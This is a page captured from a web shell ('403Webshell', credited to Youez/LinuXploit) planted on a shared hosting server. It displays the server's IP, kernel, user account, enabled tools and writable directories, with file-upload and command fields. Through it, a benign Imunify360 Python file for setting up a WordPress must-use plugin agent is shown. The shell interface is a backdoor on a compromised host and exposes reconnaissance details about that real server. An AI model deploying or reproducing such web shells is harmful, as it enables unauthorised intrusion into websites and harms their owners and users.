403Webshell
Server IP : 66.29.132.122  /  Your IP : 18.188.139.172
Web Server : LiteSpeed
System : Linux business142.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : admazpex ( 531)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/thread-self/root/opt/imunify360/venv/lib64/python3.11/site-packages/defence360agent/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/thread-self/root/opt/imunify360/venv/lib64/python3.11/site-packages/defence360agent/utils//wordpress_mu_plugin.py
import subprocess
import os
import xml.etree.ElementTree as etree
from logging import getLogger

logger = getLogger(__name__)
MU_PLUGIN_INSTALLATION = "mu_plugin_installation"
ADVICE_EMAIL_NOTIFICATION = "advice_email_notification"
MU_PLUGIN_KEYS = [MU_PLUGIN_INSTALLATION, ADVICE_EMAIL_NOTIFICATION]

XRAY_MANAGER = "/usr/sbin/cloudlinux-xray-manager"


def get_rhn_value(name):
    try:
        rhn_systemid_xml = etree.parse("/etc/sysconfig/rhn/systemid")
        for member in rhn_systemid_xml.iter("member"):
            if member.find("name").text == name:
                return member.find("value")[0].text
    except (IOError, IndexError, KeyError, etree.ParseError):
        return None
    return None


class WordPressMuPlugin:
    @staticmethod
    def _setup_agent():
        system_id = get_rhn_value("system_id")
        if system_id:
            proc = subprocess.run(
                [
                    "/usr/sbin/cloudlinux-xray-manager",
                    "enable-user-agent",
                    "--system_id",
                    system_id.replace("ID-", ""),
                ],
                capture_output=True,
                text=True,
            )
            logger.info(
                "Activation xray manager captured out: %s, err: %s",
                proc.stdout,
                proc.stderr,
            )

    def prepare_for_mu_plugin_installation(
        self, activation_status, mu_plugin_status
    ):
        """
        Must use plugin works only if xray-user-agent is running
        So it is a requirement to be sure it is turned on
        It is expected to be turned on by default after conversion to Cloulinux Pro edition
        """
        if not all([activation_status == "active", mu_plugin_status]):
            logger.warning(
                "Nothing to prepare for Must Use plugin as settings "
                "are not turned on, activation status=%s mu_plugin_status=%s",
                str(activation_status),
                str(mu_plugin_status),
            )
            return

        if not mu_plugin_status:
            logger.warning(
                "Nothing to prepare for Must Use plugin "
                "as mu_plugin_status=%s",
                str(mu_plugin_status),
            )
            return

        if not os.path.exists(XRAY_MANAGER):
            raise ValueError(
                "alt-php-xray rpm package is not installed "
                "in the system, please install it and try again"
            )

        self._setup_agent()

Youez - 2016 - github.com/yon3zu
LinuXploit